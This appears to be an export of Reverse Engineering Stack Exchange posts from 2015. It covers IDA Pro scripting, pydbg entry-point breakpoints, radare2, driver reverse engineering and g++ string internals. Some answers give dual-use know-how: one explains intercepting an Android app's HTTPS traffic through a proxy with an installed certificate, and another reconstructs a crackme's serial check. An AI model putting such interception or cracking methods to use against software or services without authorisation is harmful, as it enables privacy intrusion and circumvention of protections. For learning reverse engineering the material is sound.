= {}\nfor i = 0, 25 do\n  do\n    local letter = string.byte(\"A\")\n    b64val[string.char(letter+i)] = i\n  end\n  do\n    local letter = string.byte(\"a\")\n    b64val[string.char(letter+i)] = i + 26\n  end\nend\nfor i = 0, 9 do\n  local numeral = string.byte(\"0\")\n  b64val[string.char(numeral+i)] = i + 52\nend\nb64val[\"+\"] = 62\nb64val[\"/\"] = 63\nb64val[\"=\"] = 0\n\nlocal encoded = b64:gsub(\"(.)(.)(.)(.)\",function(a,b,c,d)\n  local n = b64val[a] * (64 * 64 * 64) + b64val[b] * (64 * 64) + b64val[c] * 64 + b64val[d]\n  local b1 = n % 256; n = (n - b1) / 256\n  local b2 = n % 256; n = (n - b2) / 256\n  local b3 = n\n  if d == \"=\" then\n    if c == \"=\" then\n      assert(b1 == 0 and b2 == 0)\n      return string.char(b3)\n    else\n      assert(b1 == 0)\n      return string.char(b3, b2)\n    end\n  else\n    return string.char(b3, b2, b1)\n  end\nend)\n\n-- decode\nlocal decoded = encoded:gsub(\"()(.)\", function(i, c)\n  local b = c:byte()\n  local ki = ((i - 1) % #key) + 1\n  local k = key:byte(ki,ki)\n  b = b - k\n  if b < 0 then b = b + 256 end\n  return string.char(b)\nend)\n\n-- verify\nlocal result, err = load(decoded)\nif not result then\n  error(\"Decoded file could not be loaded -- it may be corrupt... (\"..tostring(err)..\")\")\nend\n\n-- output\nlocal outfile = io.open(outfilename, \"wb\")\n\nif not outfile then\n  error(\"Failed to open output file.\")\nend\n\noutfile:write(decoded)\n\noutfile:close()\n
\n" }, { "Id": "10623", "CreationDate": "2015-08-14T10:49:27.890", "Body": "

I am working on a mipsel binary in IDA Pro and I'm having some issues with renaming subroutines.

\n\n

I have the subroutine \"system\" at 0x739644. I renamed this using the N hotkey.

\n\n

\"Subroutine

\n\n

Now if I hit X, some of the xrefs have been replaced:

\n\n

\"JALR

\n\n

All of the JALR instructions are fine.

\n\n

However, sometimes subroutines are called like so:

\n\n

\"Alternative

\n\n

In this case, sometimes the reference has been renamed and sometimes it hasn't. They all show up in xrefs though:

\n\n

\"Some

\n\n

Why is this? Can I rename them all?

\n", "Title": "Renaming subroutines in IDA Pro for MIPS", "Tags": "|ida|mips|", "Answer": "

Probably it is because IDA treats the la arguments as integers. \nTry the following : go to one of the places,where system displayed as a number, locate your cursor on this number, press O and recheck if it is still referenced as a number.

\n\n

Update based on comments - this code illustrates general idea of how it can be fixed automatically. Note: this code is not tested, and provided only for illustrative purposes:

\n\n
#I didn't check this code, \n#use carefully, \n#beware of errors !\n\nimport idc\nimport idautils\nimport idaapi\n\n\n#this function will pass over all assembly commands in correspondiong parameter\n#and will set as offsets all operands mentioned in second parameter\n#   @param list_of_ranges --> list of tuples of start and end of code ranges where it \n#            should be applied\n#   @list_of_commands_and_operands--> list of tuples of assembly commands as string \n#            and number of operands where it should be applied\n\ndef multi_convert_op_to_offset(list_of_ranges, list_of_commands_and_operands):\n    for (start, end) in list_of_ranges:\n        for h in idautils.Heads(start, end):\n            dis = idc.GetDisasm(h).split()\n            mnemonic = dis[0]\n            for mnem, op in list_of_commands_and_operands:\n                if mnem == mnemonic:\n                    idc.OpOff(h, op, 0)\n\n\n#Usage:\n\nstart = start_of_your_relevant_code\nend = end_of_your_relevant_code\n\nl_of_rng = []\n\nl_of_rng.append((start, end))\n\nl_of_cmds_and_ops = []\n\nl_of_cmds_and_ops.append((\"la\", 1))\n\nmulti_convert_op_to_offset(l_of_rng, l_of_cmds_and_ops)\n
\n" }, { "Id": "10625", "CreationDate": "2015-08-14T14:40:55.590", "Body": "

I am attempting to disassemble a test binary I compiled written in masm. Here are the follwing bytes:

\n\n
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.01\nCopyright (C) Microsoft Corporation.  All rights reserved.\n\n\nDump of file X:\\test.exe\n\nFile Type: EXECUTABLE IMAGE\n\n00401000: EB FE              jmp         00401000\n00401002: 33 C0              xor         eax,eax\n00401004: 33 DB              xor         ebx,ebx\n00401006: 33 C9              xor         ecx,ecx\n00401008: 33 D2              xor         edx,edx\n0040100A: B8 02 00 00 00     mov         eax,2\n0040100F: BB 01 00 00 00     mov         ebx,1\n00401014: 3B C3              cmp         eax,ebx\n00401016: 7F 06              jg          0040101E\n00401018: 2B C3              sub         eax,ebx\n0040101A: 3B C3              cmp         eax,ebx\n0040101C: 7F 22              jg          00401040\n0040101E: B8 05 00 00 00     mov         eax,5\n00401023: BB 0A 00 00 00     mov         ebx,0Ah\n00401028: 3B C3              cmp         eax,ebx\n0040102A: 7F 06              jg          00401032\n0040102C: 2B D8              sub         ebx,eax\n0040102E: 3B D8              cmp         ebx,eax\n00401030: 7F 07              jg          00401039\n00401032: B8 0D 00 00 00     mov         eax,0Dh\n00401037: EB 0E              jmp         00401047\n00401039: BB 09 00 00 00     mov         ebx,9\n0040103E: EB 07              jmp         00401047\n00401040: B9 17 00 00 00     mov         ecx,17h\n00401045: EB 00              jmp         00401047\n00401047: 6A 00              push        0\n00401049: E8 00 00 00 00     call        0040104E\n0040104E: FF 25 00 20 40 00  jmp         dword ptr ds:[00402000h]\n
\n\n

The following is my python script:

\n\n
import os, sys\nfrom pydbg import *\nfrom pydbg.defines import *\n\npid = int(sys.argv[1])\n\ndef handler_breakpoint(pydbg):\n    if pydbg.first_breakpoint:\n        return DBG_CONTINUE\n    for thread_id in dbg.enumerate_threads():\n        context = dbg.get_thread_context(None, h_thread)\n    print(\"Eip = %08x\" % context.Eip)\n    dbg.disasm(context.Eip)\n    return DBG_CONTINUE\n\ndbg = pydbg()\ndbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)\ndbg.attach(pid)\nfor thread_id in dbg.enumerate_threads():\n        context = dbg.get_thread_context(None, h_thread)\ndbg.bp_set(context.Eip)\ndbg.resume_all_threads()\npydbg.debug_event_loop(dbg)\n
\n\n

I just want to break into the first (jmp-0x2) instruction.

\n\n

I checked the pydbg API pydbg API and various projects that utilized pydbg and couldn't make heads or tails on how to do this.

\n", "Title": "pydbg: Disassemble at $exentry and relative offset from $exentry", "Tags": "|windows|debuggers|python|", "Answer": "

if you attach to any running process the breakpoint at the entry point will not be hit

\n\n

to break on Address of EntryPoint you should load the binary and set the breakpoint during the first system (pydbg.firstbreakpoint)

\n\n

to retrieve the AddressofEntryPoint dynamically you would have to read the process memory and decipher the pe header->address of entry point

\n\n

shown below is a sample script that breaks on calc.exe entrypoint and dumps the context

\n\n
:\\>cat entrypoint.py\nimport struct\nfrom pydbg import *\nfrom pydbg.defines import *\ndef handler_breakpoint (pydbg):\n  if pydbg.first_breakpoint:\n    for module in dbg.iterate_modules():\n      base_address = module.modBaseAddr\n      dos_header   = dbg.read_process_memory(base_address, 0x40)\n      if len(dos_header) != 0x40 or dos_header[:2] != \"MZ\":\n        continue\n      e_lfanew   = struct.unpack(\"<I\", dos_header[0x3c:0x40])[0]\n      pe_headers = dbg.read_process_memory(base_address + e_lfanew, 0xF8)\n      if len(pe_headers) != 0xF8 or pe_headers[:2] != \"PE\":\n        continue\n      entrypoint = (struct.unpack(\"<I\", pe_headers[0x28:0x2c])[0]) + base_addres\ns\n      print \"0x%08x\" % entrypoint\n      dbg.bp_set(entrypoint)\n      return DBG_CONTINUE\n  print dbg.dump_context(dbg.context)\n  return DBG_CONTINUE\ndbg = pydbg()\ndbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)\ndbg.load(\"c:\\windows\\system32\\calc.exe\")\npydbg.debug_event_loop(dbg)\n
\n\n

result

\n\n
:\\>python entrypoint.py\n0x01012475\nCONTEXT DUMP\n  EIP: 01012475 push byte 0x70\n  EAX: 00000000 (         0) -> N/A\n  EBX: 7ffd7000 (2147315712) -> N/A\n  ECX: 0007ffb0 (    524208) ->\n  EDX: 7c90e514 (2089870612) -> N/A\n  EDI: 00250000 (   2424832) -> N/A\n  ESI: 7c9115f9 (2089883129) -> N/A\n  EBP: 0007fff0 (    524272) -> \n  ESP: 0007ffc4 (    524228) -> wp (stack)\n  +00: 7c817077 (2088857719) -> N/A\n  +04: 00250000 (   2424832) -> N/A\n  +08: 7c9115f9 (2089883129) -> N/A\n  +0c: 7ffd7000 (2147315712) -> N/A\n  +10: 80544c7d (2153008253) -> N/A\n  +14: 0007ffc8 (    524232) ->\n
\n" }, { "Id": "10627", "CreationDate": "2015-08-14T19:30:30.827", "Body": "

I am interested in learning and using radare2 as a toolset for reverse engineering. But I want ANY other resource for learning this tools other than radare2 book, preferably a video series. What I am interested in is solving crackmes and executables debugging.

\n", "Title": "Any documentation available for r2 other than official book", "Tags": "|debugging|crackme|radare2|", "Answer": "

We collect useful links about using radare2 on our forum (jvoisin blog too :) )

\n" }, { "Id": "10633", "CreationDate": "2015-08-15T17:00:18.913", "Body": "

My main question is how the open source community reverse engineers windows drivers (for say, video cards) to re-write them under linux.

\n\n

Links to resources are fine, I don't expect a tutorial on driver development in an answer. But at least I need to be pointed in the right direction.

\n\n

This is actually have been asked in other stackoverflow sub domain.However, the original writer doesn't get the correct answer and i also want to know about this reverse engineering method. I hope this question is not considered as duplicate one.

\n", "Title": "Capturing OS/hardware communication / reverse engineering drivers", "Tags": "|linux|", "Answer": "

It depends on the particular interface, but the general idea is often the same and usually does NOT involve disassembling the driver. The reason is that the disassembling method for reverse engineering is not considered legal in all jurisdictions. Here are the usual steps:

\n\n

1. Contact the manufacturer for needed information

\n\n

Obviously, the most direct approach is also the easiest if successful. Some manufacturers are more cooperative than others. For some types of devices, even if the manufacturer of a device is uncooperative, sometimes the manufacturer of major chips on the device are willing to share some information and this can help.

\n\n

2. Get general information about the device by observation

\n\n

A lot of information can be obtained simply by observation. For example, what are the major components in the device? Can we look up part numbers and find datasheets for them? Is this version n+1 and there is already a version n driver for Linux? Does the manual or the Windows driver user interface give any important clues about registers, settings or capabilities? Does the Windows driver support multiple devices? This can be an indication that the devices might be similar, and if there's a Linux driver for one of them already, it can help.

\n\n

3. Capture communications with the device for analysis

\n\n

For some devices such as serial ports or USB, capturing the communications between the device driver and device is usually fairly straightforward. (See How to reverse engineer simple usb device [windows -> linux]) Capturing communications for video cards can be done in a couple of ways. One way it can be done is by using a proprietary Linux driver and then intercepting calls for that, as with the REnouveau tool. Sharing data is important, and is one reason so many drivers have been successfully written for Linux. One of the major strengths of the open source community is the fact that there are people all over the world who can and do collaborate with such efforts.

\n\n

4. Attempt to duplicate the communications under Linux

\n\n

This is a matter of writing code and trying the result. Because Linux already has a rich set of drivers, it's often easiest to start with something similar and modify it. Since everything is open source, tinkering is not merely allowed but encouraged! For devices other than video cards, one can often write userspace code to attempt to exercise the device and to gather data and try experiments. Ultimately, a real driver is written, ideally as a kernel module, to allow unloading and reloading. This speeds the development cycle over having to reboot after any driver change (I'm looking at YOU, Windows!)

\n\n

5. Test extensively

\n\n

Testing and bugfixing is important for open source software generally, and that certainly applies to device drivers as well as anything else. First, for inclusion in the kernel, other developers look at the code in a sometimes brutal but invariably useful process called code review. Other experienced developers look at the source code and point out weaknesses in the code, flaws in assumptions and even typos in comments and formatting problems. Once enough people have done that, people with the actual device in question actually try it on their hardware and report bugs or anomalies. This often turns up issues such as version differences (e.g. there were multiple versions of the physical device, but all sold as the same thing) and device conflicts (both device A and device B work great individually, but fail when both are connected).

\n\n

Ultimately, the result is a shiny new bug-free open source driver that everyone can use. (Or that's the goal, anyway!)

\n" }, { "Id": "10634", "CreationDate": "2015-08-15T20:50:21.477", "Body": "

When I use \"trace into\" it doesn't log every single executed instruction in the \"Run Trace\" window only some of them. I have to set breakpoints in order for some of the instructions to be logged.

\n\n

For example right now I'm tracing a program with a TLS callback. I break on system entry point, so I start in ntdll and hit \"trace into\" but the TLS callback which is from the main executable is not logged if I don't put a breakpoint on it. If I put a breakpoint on it then it appears in the run trace. How can I log every single instruction without setting breakpoints?

\n\n

I have unchecked the box for \"Don't enter system dlls\" and checked the box for \"always trace over string functions\" (and all other combinations thereof).

\n\n

I have also tried setting a trace condition \"pause trace when EIP is between 400000-500000\" which only works when I set a breakpoint on the TLS (i.e clicking \"trace into\" will single-step through the TLS code once the breakpoint is hit and will not pause not before the breakpoint I set), and doesn't work if I don't set the breakpoint. There is obviously something I'm missing, but I've tried everything that I can think of.

\n\n

Also another thing: When I press \"Execute till user code\" from ntdll, it doesn't stop on the TLS callbacks (unless I put breakpoints on there). Why does that happen?

\n\n

UPDATE: Turns out problem was I was using 64 bit OS. I ran it again in 32 bit windows and the TLS was traced fine.

\n\n

\"Execute till user code\" still doesn't break on TLS callbacks though.

\n", "Title": "How to trace every instruction that was executed?", "Tags": "|ollydbg|", "Answer": "

how did you confirm that the tls call back is not present in run trace ?

\n\n

AFAIK ollydbg properly traces through LdrpCallInitRoutine

\n\n
Run trace, selected line\n Back=1663410.\n Thread=Main\n Module=ntdll\n Address=7C91C4F5\n Command=CALL    ntdll.LdrpCallInitRoutine\n Comment=ELdrpCallInitRoutine <------------\n
\n\n

do you log the trace to some file the buffer entries drop out in last in first out fashion (buffer size is configurable and default size of buffer is set at its lowest size )

\n\n

even if you configure the buffer to its maximun size there is a chance that the log entries were dropped

\n\n

do you know the address of tls callback

\n\n

if yes did you try right click -> mark address and using + / - to navigate ?

\n\n

here is a tls entry as logged by ollydbg

\n\n
Run trace, selected line\n Back=1663399.  <------------------ i have paused the binary so much instruction forward     \nnotice the earlier index is farther back in ldrpcallinitroutine paste above\n Thread=Main\n Module=kernl\n Address=10001000 <ModuleEntryPoint>  <---- a dll (LDR_PROCESS_ATTACH Init Call)\n
\n\n

Command=PUSH EBP

\n" }, { "Id": "10655", "CreationDate": "2015-08-19T13:23:49.503", "Body": "

I'm using IDA Pro and trying to analyze a parameter passed to a function call. Problem is, when i add a breakpoint on function address to see what values are being passed , the application crashes. Is there a way to monitor what parameters passed other than setting a breakpoint ?

\n", "Title": "Is it possible to trace data without adding a break point?", "Tags": "|ida|call|", "Answer": "

Assuming you're using a software breakpoint (int 3), you have a few alternative options:

\n\n\n\n

Edit:

\n\n

Based on your comment below, it looks like you're looking to log/hook imported API functions, in which case IAT hooking and EAT hooking are also options.

\n\n

However, the easiest solution will likely be using an existing tool like API Monitor which allows you to easily log function parameters and choose the type of breakpoint you want to use.

\n" }, { "Id": "10670", "CreationDate": "2015-08-20T23:47:07.843", "Body": "

I'm working on a Linux x86_64 ELF binary using IDA 6.6.

\n\n

When I run the Hex-Rays Decompiler on a function (by pressing F5) it always shows me the pseudocode for the _init_proc function, no matter what I run it on. It's stuck on that function and won't show me anything else in the pseudocode view. No errors are displayed or printed to the log.

\n\n

If I produce the C file (Ctrl+F5) the full pseudocode is generated, so it's just an interface issue.

\n\n

This is driving me mad. Things I've tried:

\n\n\n\n

Has anyone encountered this behaviour before? Any suggestions?

\n", "Title": "Hex-Rays decompiler stuck on function", "Tags": "|ida|hexrays|", "Answer": "

Reset IDA configuration

\n\n

I eventually solved this issue by completely erasing IDA's configuration. I'm on Windows, so I removed the HKCU\\Software\\Hex-Rays key. On Linux you should probably try removing ~/.idapro/ida.reg.

\n" }, { "Id": "10671", "CreationDate": "2015-08-21T06:06:28.973", "Body": "

Ok guys, I'm a web programmer but I'm completely new to reverse engineering..

\n\n

So, there's this android app called InstaMessage, I'd like to reverse engineer the client's connection to the server, so that I can emulate it on my computer and see what commands are there, perhaps play with it a bit and further create some scripts to act as my user actions

\n\n

I was thinking of monitoring the traffic, seeing where it leads and which port, an try to start from there.

\n\n

I know it's a kind of broad question, so if you could give me some tips on where to start off, it would help a lot..

\n\n

Thanks

\n", "Title": "Reverse engineering an application's client connection to a host", "Tags": "|android|", "Answer": "

I did this with a lot of Android apps so I'll share what I have learned.

\n\n

When thinking of sniffing traffic, the first thing that comes to mind is \"I'll just root the Android device, run tcpdump on it and I'm done\". That works for simple things, but it gets really messy really fast. And if the app uses SSL (like 99% of what's out there) it's even worse.

\n\n

Use a proxy

\n\n

Most apps use HTTP/HTTPS to communicate with the server. The easiest way to sniff that kind of traffic is using a sniffing proxy (also called debugging proxy). Common ones are Charles and Fiddler. I use Charles, so I'll show you how to work with it, but Fiddler should be similiar.

\n\n

First off, you need your computer and your Android device on the same LAN. Upon starting Charles, it will automatically start proxying your computer's traffic. You probably don't want this, so disable it from Proxy -> Proxy Settings... -> Windows. Now point your Android network settings to use your computer as HTTP proxy (Charles default port is 8888). Charles will show you all HTTP traffic from your device.

\n\n

If you need SSL (HTTPS) proxying, you have to install the Charles certificate on your device. Android requires you to have a protected (at least pattern) lockscreen to install external certificates. You can find the certificate in the doc/ directory in Charles' install path, or you can visit http://www.charlesproxy.com/getssl/ from your device browser. Then, in Charles, go to Proxy -> Proxy Settings... -> SSL, enable SSL proxying and add the hosts you want to proxy (or just add * to proxy everything).

\n\n

Non-HTTP(S) communication

\n\n

An HTTP debugging proxy will cover most apps out there. In case the app is not using HTTP(S) things get a little more complex. You may want to look into the SOCKS proxy capability of Charles, and how to configure a SOCKS proxy on your device. If that doesn't suffice, then you'll really want to break out tools like tcpdump/Wireshark. You could set up a fake DNS, ARP spoof the device, use a sniffing VPN, etc. There are a lot of ways to go about it. A fake DNS is also good if you want to emulate the server, instead of the client.

\n\n

SSL certificate checking

\n\n

When dealing with SSL, most apps trust what the OS trusts. Since you can intall external certificates on Android, you're good. Rarely, the app will check the server certificate against an embedded CA root. This can be bypassed in a few ways:

\n\n\n\n

I would go with the first or the last one.

\n\n

Decompilation

\n\n

At some point you'll have to look at the application code. Maybe it's using a proprietary binary protocol, maybe the traffic is encrypted or compressed, maybe you can't make sense of some values. I suggest trying multiple decompilers/engines. They are not perfect, and a lot of times one works well where the other fails. Virtuous Ten Studio is a good one to start with. Then I alway extract the classes.dex file from the APK (it's just a ZIP file) and run it through dex2jar. I then run the resulting JAR through JD-GUI (JD-Core engine) and SecureTeam Java Decompiler (Procyon engine). Also, jadx can target DEX directly, without dex2jar.

\n\n

InstaMessage

\n\n

I checked the app you're trying to reverse. It's using standard HTTPS communication, easy to sniff using either Charles or Fiddler. The server has various GET endpoints and the client sends a base64-encoded data field. This is binary data, I haven't really looked into it but the first 70% is identical in all requests, so I suspect it's some kind of session token. The final part varies with requests, but the whole field is pretty high entropy so I'm thinking it's either compressed or encrypted. I would try to decompile the app and see what's going on. The server response, on the other hand, is plain JSON.

\n" }, { "Id": "10682", "CreationDate": "2015-08-21T21:03:31.633", "Body": "

I have a function that takes some arguments and returns a char array which is being used by send() function later on (basically a packet encoder). My initial approach was to try and decompile this big encode function but there're at least 20-40 sub functions also data types are not really easy to figure out so i gave up on that. My second approach was to try to use hex-rays decompiler plugin but that also gives some uncompilable c code. As last resort i tried to analyze input data and encoded data but since the input changes all the time during runtime it's really hard to compare results and the only conclusion i could reach was first byte is a header and next two bytes represent packet length. So my question is, is there any way to feed data into a function(subroutine) with IDA Pro or any other disassembly tool ?

\n", "Title": "Is it possible to feed data to a function during or outside of runtime using IDA Pro?", "Tags": "|ida|disassembly|", "Answer": "

Yes, you can use Appcall: https://hex-rays.com/products/ida/support/tutorials/debugging_appcall.pdf

\n\n
\n

Appcall is a mechanism to call functions inside the debugged program\n from the debugger or your script as if it were a built-in function.

\n \n

...

\n
\n" }, { "Id": "10687", "CreationDate": "2015-08-22T12:00:35.907", "Body": "

I extracted the libc.so.6 from within a vulnerable image used for exploitation purposes. I open up the shared object in IDA and I look at the symbols inside the \"Exports\" tab. I find \"free\"; upon visiting the function however, its body seems to do something rather different from what I'd expect from a dlmalloc free implementation. What am I missing?

\n", "Title": "Finding \"free\" inside libc.so", "Tags": "|linux|shared-object|", "Answer": "

I could not figure out why this problem happens. However, I just dumped \"free\" from within gdb, opened it up in IDA and it works just fine.

\n" }, { "Id": "10690", "CreationDate": "2015-08-22T18:23:51.507", "Body": "

I am working on a crackme and I'm stuck on a particular comparison that I'd like your help in getting past(one of many). Here's what I know and the relevant code snippet will follow:

\n\n\n\n

Can you help me bypass the CMP on the last line ?

\n\n

EDIT: Not allowed to NOP any instructions, need to find the serial number.

\n\n

CODE:\nR9 is the user-inputted 19 digit string\nAdded entire function

\n\n
var_18          = byte ptr -18h\nvar_8           = qword ptr -8\n\nsub     rsp, 18h        ; Follow four lines check for 19-digit user entry\ncmp     edx, 19\nmov     r8, rcx         ; Now holds User inputted string\njz      short loc_140001013\n\nxor     eax, eax\nadd     rsp, 24\nretn\n\nloc_140001013:                          ; CODE XREF: sub_140001000+Aj\nxor     edx, edx\nlea     rax, [r8+4]\nmov     ecx, edx\nxchg    ax, ax\ndb      66h, 66h\nnop\nhyphen_Check:                           ; CODE XREF: sub_140001000+2Fj\ncmp     byte ptr [rax], 2Dh ; Use a FOR loop to ensure - is every 5th character, repeats 3 times\njnz     short loc_14000100C\nadd     ecx, 1\nadd     rax, 5\ncmp     ecx, 3\njb      short hyphen_Check\n\nloc_140001031:                          ; DATA XREF: .rdata:00000001400020C4o\n ; .rdata:00000001400020D8o ...\nmov     [rsp+18h+var_8], rbx\nmov     r10d, edx\nmov     r11d, edx\nlea     rbx, [rsp+18h+var_18]\nmov     r9, r8\nnop\ndb      66h, 66h\nxchg    ax, ax\ndb      66h, 66h\nxchg    ax, ax\ndb      66h, 66h\nxchg    ax, ax\nforLoopCheck:                           ; CODE XREF: sub_140001000+A2j\nmov     rcx, rdx\nnon_Numeric_Check:                     \nmovsx   eax, byte ptr [r9+rcx] ; Begin FOR loop to check all digits for non-numeric characters\nadd     eax, 0FFFFFFD0h\ncmp     eax, 9          ; Non-number entries are checked here, exits if letters are present\nja      ExitFUNC\nadd     rcx, 1\ncmp     rcx, 4\njl      short non_Numeric_Check ; END FOR LOOP\n
\n\n

ORIGINAL BLOCK:

\n\n
movsx   eax, byte ptr [r9+2] ; Get 3rd digit\n                             ; Likely begins set of first checks on actual digits\nmovsx   ecx, byte ptr [r9+3] ; Get 4th digit\nadd     r11d, 1         ; Loop counter, loops 4 times, for each set of digits\nadd     ecx, eax        ; Set ECX to 3rd digit + 4th digit\nmovsx   eax, byte ptr [r9+1] ; Set EAX to 2nd digit\nadd     rbx, 4\nadd     ecx, eax        ; Adds 2nd digit to total\nmovsx   eax, byte ptr [r9] ; Move first digit into EAX\nadd     r9, 5           ; Moves to 2nd set of digits\nadd     ecx, eax        ; Adds 1st digit to total\nadd     ecx, r11d       ; Adds 1, for a total of 10\nnop\nnop\nmov     [rbx-4], ecx    ; Added four digits stored here too\nadd     r10d, ecx       ; R10d becomes our added ECX value from above\ncmp     r11d, 4         ; Loop counter check\njb      short forLoopCheck\nshr     r10d, 2         ; shifts right r10d by 2, AKA divides by 4\nmov     ecx, edx\nlea     rax, [rsp+18h+var_18] ; var_18 = -18h\nxchg    ax, ax          ; A NO OP\ncmp     [rax], r10d     ; Compares right shifted 2 value to whatever is in RAX\njnz     short ExitFUNC  ; Compare above must be the same value\n
\n\n

LAST CHECK:

\n\n
.text:00000001400010C4 loc_1400010C4:                          ; CODE XREF: sub_140001000+ECj\n.text:00000001400010C4                 movzx   ecx, byte ptr [r8+rax+15] ; Move last set of 4 into ECX\n.text:00000001400010CA                 cmp     [r8+rax], cl    ; CL = 1st digit of last 4, R8 = 1st dig of 1 set\n.text:00000001400010CE                 jz      short ExitFUNC  ; Kicks you out\n.text:00000001400010D0                 movzx   r9d, byte ptr [rax+r8+5]\n.text:00000001400010D6                 cmp     cl, r9b         ; cmp 1st digit of last 4 with 1st digit of 2nd 4\n.text:00000001400010D9                 jz      short ExitFUNC\n.text:00000001400010DB                 cmp     r9b, [rax+r8+10] ; cmp 1st digit of 2nd set to 1st digit of 3rd set\n.text:00000001400010E0                 jz      short ExitFUNC\n.text:00000001400010E2                 add     edx, 1\n.text:00000001400010E5                 add     rax, 1\n.text:00000001400010E9                 cmp     edx, 4\n.text:00000001400010EC                 jb      short loc_1400010C4\n
\n", "Title": "How do I bypass this comparison?", "Tags": "|x86|x86-64|", "Answer": "

Here's what your serial checking algorithm looks like:

\n\n
// expects xxxx-xxxx-xxxx-xxxx\nbool check_serial(char inp[]){\n    int total = 0;\n    int checksum = 1 + (inp[0] + inp[1] + inp[2] + inp[3]);\n\n    for (int i = 1; i <= 4; i++) {\n        total += i + (inp[0] + inp[1] + inp[2] + inp[3]);\n        inp += 5;\n    }\n\n    total /= 4;\n\n    printf(\"chk is %d, total is %d\\n\", checksum, total);\n\n    return (checksum == total);\n}\n
\n\n

I'll explain what the value at rsp is only, as you seem to understand the rest of the algorithm.

\n\n

First, you have this instruction:

\n\n
cmp     [rax], r10d\n
\n\n

Check what rax is:

\n\n
lea     rax, [rsp+18h+var_18]\n
\n\n

Since var_18 is -0x18, we know that 0x18 + (-0x18) is 0, so the above is equivalent to:

\n\n
lea     rax, [rsp]\n
\n\n

(you can put the cursor over 18h and press K in IDA, it'll get rid of the variable name and just show [rsp])

\n\n

Which is equivalent to:

\n\n
mov     rax, rsp\n
\n\n

Which means that your cmp is doing:

\n\n
cmp     [rsp], r10d\n
\n\n

Now, you need to find out what's on the stack. For that, you check the function again, and search for any references to rsp. You can click over rsp so IDA highlights everywhere it's used.

\n\n

After a quick look, this seems interesting:

\n\n
lea     rbx, [rsp+18h+var_18]\n
\n\n

As noted before, it can be simplified to:

\n\n
lea     rbx, [rsp]\n
\n\n

Which is basically:

\n\n
mov     rbx, rsp\n
\n\n

Now we know that rbx is pointing to the top of the stack, and in the compare function, we see this:

\n\n
add     rbx, 4\n; ...\n; ...\n; ...\nmov     [rbx-4], ecx\n
\n\n

The first time that code is run, rbx points to the top of the stack; it's incremented once, but then the mov dereferences rbx - 4, which makes it be equivalent to:

\n\n
mov     [rbx], ecx\nadd     rbx, 4\n
\n\n

Which is essentially setting the element and skipping to the next one.

\n\n

Now, since rbx points to the top of the stack, the first iteration will save the sum (i.e. ecx) to the top of the stack (which is the value you need to match), and increase the pointer to the next element (which you don't need here anymore).

\n\n

Bingo, we've found out what's at rsp. It's just the value of ecx in the first iteration, which is basically the sum of the first group of characters plus one.

\n\n
\n\n

Next, notice it's using the ASCII codes of each digit instead of the digits themselves:

\n\n
movsx eax, byte ptr [r9]\n
\n\n

Since r9 points to a char array, the digit '1' is actually 49 (ASCII 49 = 1).

\n\n

To understand it better:

\n\n
char serial[] = \"1111-2222-3333-4444\";\nint current_char = serial[0]; // puts the integer value 49, not 1\n
\n" }, { "Id": "10691", "CreationDate": "2015-08-22T20:41:09.427", "Body": "

Suppose I'm disassembling helloworld.exe (a program that outputs the string "hello world") and want to see the user code or code section for the file in IDA Pro.\nIn what address would the user code be available?

\n

When I mean user code I mean the .code section below

\n
HelloWorld db "Hello, world!",0\nmsgTitle db "Hello world program",0\n\n.code\nStart:\n         push    offset msgTitle\n         push    offset HelloWorld\n         push    0\n         call    MessageBoxA\n\n         push 0\n         call ExitProcess\nends\nend Start\n
\n

Bonus Question: When not using IDA Pro how can I determine the address of the user code of a Portable Executable?

\n", "Title": "When analysing a PE (.exe) in IDA Pro how can I jump to the 'user code' section and skip all the header/libary code?", "Tags": "|ida|executable|", "Answer": "

If You use IDA: When You open Your binary in IDA, navigate to drop-box in up-right corner and choose Entry points. You will see red point, which indicates the address of entry point:

\n\n

\"enter

\n\n

Without IDA: If You need to see Entry point of your binary without IDA, you need to parse PE and examine AddressOfEntryPoint value, which is RVA from base to the beginning of user-code [usually]

\n" }, { "Id": "10703", "CreationDate": "2015-08-24T11:48:52.843", "Body": "

This is a question rather for french stack users.

\n\n

I wonder how I can read my Freebox server HDD (actually it i flash memory), as root ?

\n\n

Or, at least, how I could see Terminal of the box ? (It is Ubuntu based, at least Debian)

\n", "Title": "Freeb\u00f8x Internet box, how to access HDD , root?", "Tags": "|linux|", "Answer": "

If you are still using a V4 version, it seems to be much more simple:

\n\n

P\u00e9n\u00e9trez une FreeBoxPerso V4 avec un simple Trombone

\n" }, { "Id": "10716", "CreationDate": "2015-08-26T05:04:57.210", "Body": "

It is understood that the labels that come in the .text section of an assembly program are representative of the address of the following instruction.

\n\n

Is it the same idea with the symbols we see in the .data section ? i.e. \"The label is representative of the base address of whatever follows\".

\n\n

Does this apply anywhere in the program ?

\n\n

I'm a NOOB in assembly, learning MIPS as a part of coursework.

\n", "Title": ".data symbols equivalent to .text labels?", "Tags": "|assembly|mips|", "Answer": "

You basically stated the answer yourself, a label is representative of a location in your assembly code. The section is irrelevant.

\n\n

(You misused the term \"base address\" though)

\n" }, { "Id": "10722", "CreationDate": "2015-08-26T17:23:45.807", "Body": "

While reversing a C++ program compiled with g++, I've seen a _ZNSs4_Rep20_S_empty_rep_storageE being used. Running it through c++filt shows that before mangling it's a:

\n\n
std::basic_string<char, std::char_traits<char>, std::allocator<char> >::_Rep::_S_empty_rep_storage\n
\n\n

But what is this _S_empty_rep_storage used for? I included an assembly snippet below where it's used:

\n\n
mov     rax, cs:_ZNSs4_Rep20_S_empty_rep_storageE_ptr\n...\nadd     rax, 18h\n...\nmov     [rsp+328h+var_308], rax\nmov     [rsp+328h+var_2F8], rax\nmov     [rsp+328h+var_2E8], rax\n...\nlea     r14, [rsp+328h+var_308]\nlea     rsi, [rsp+328h+var_2D8] ; std::string *\nmov     rdi, r14        ; this\ncall    __ZNSs4swapERSs ; std::string::swap(std::string &)\nlea     rdi, [rsp+328h+var_2D8] ; this\nlea     r13, [rsp+328h+var_2F8]\nlea     r12, [rsp+328h+var_2E8]\ncall    __ZNSsD1Ev      ; std::string::~string()\n
\n\n

So my question is: What's the purpose of _S_empty_rep_storage here? Also why are var_308, var_2f8 and var_2e8 lea'd into r12-14? These registers are not used later on.

\n", "Title": "What is _S_empty_rep_storage used for in this code?", "Tags": "|disassembly|", "Answer": "

